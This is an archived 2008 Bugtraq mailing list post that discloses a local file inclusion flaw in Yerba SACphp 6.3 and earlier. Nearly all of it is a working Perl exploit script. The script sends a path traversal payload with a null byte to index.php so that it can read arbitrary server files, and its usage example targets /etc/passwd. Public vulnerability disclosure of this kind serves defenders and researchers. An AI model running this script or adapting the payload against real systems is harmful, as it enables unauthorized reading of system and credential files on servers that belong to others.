bugtraq - Yerba SACphp <= 6.3 / Local File Inclusion Exploit

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <615c86240810061612s579daedcs8109bb054fe5db8f@mail.gmail.com>
Date: Tue, 7 Oct 2008 01:12:02 +0200
From: Pepelux <pepelux@...e-sec.org>
To: bugtraq@...urityfocus.com, bugtraq-owner@...urityfocus.com
Subject: Yerba SACphp <= 6.3 / Local File Inclusion Exploit

#! /usr/bin/perl

# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

# Yerba SACphp <= 6.3 / Local File Inclusion Exploit

# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

# Program: Yerba SACphp

# Version: <= 6.3

# File affected: index.php

# Download: http://sourceforge.net/projects/yerba/

#
#
# Found by Pepelux <pepelux[at]enye-sec.org>

# eNYe-Sec - www.enye-sec.org

#

# Bug:
# 37-		include("modulos/$mod/mod_nucleo.php");



use LWP::UserAgent;
use HTTP::Request::Common;

my ($host, $file) = @ARGV ;



unless($ARGV[1]){

	print "\nUsage: perl $0 <host> <file_to_edit>\n";

	print "\tex: perl $0 http://localhost /etc/passwd\n\n";

	exit 1;

}


$host = 'http://'.$host if ($host !~ /^http:/);

$host .= "/" if ($host !~ /\/\$/);

my $ua = LWP::UserAgent->new();
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1)
Gecko/2008072820 Firefox/3.0.1");

$ua->timeout(10);

my $request = HTTP::Request->new();
my $response;
my $url = $host."index.php";

my $req = HTTP::Request->new(POST => $host."index.php");

$req->content_type('application/x-www-form-urlencoded');

$req->content("mod=../../../../../".$file."%00");



$request = $ua->request($req);

$result = $request->content;


					
$result =~ s/<[^>]*>//g;


print $result . "\n";


exit;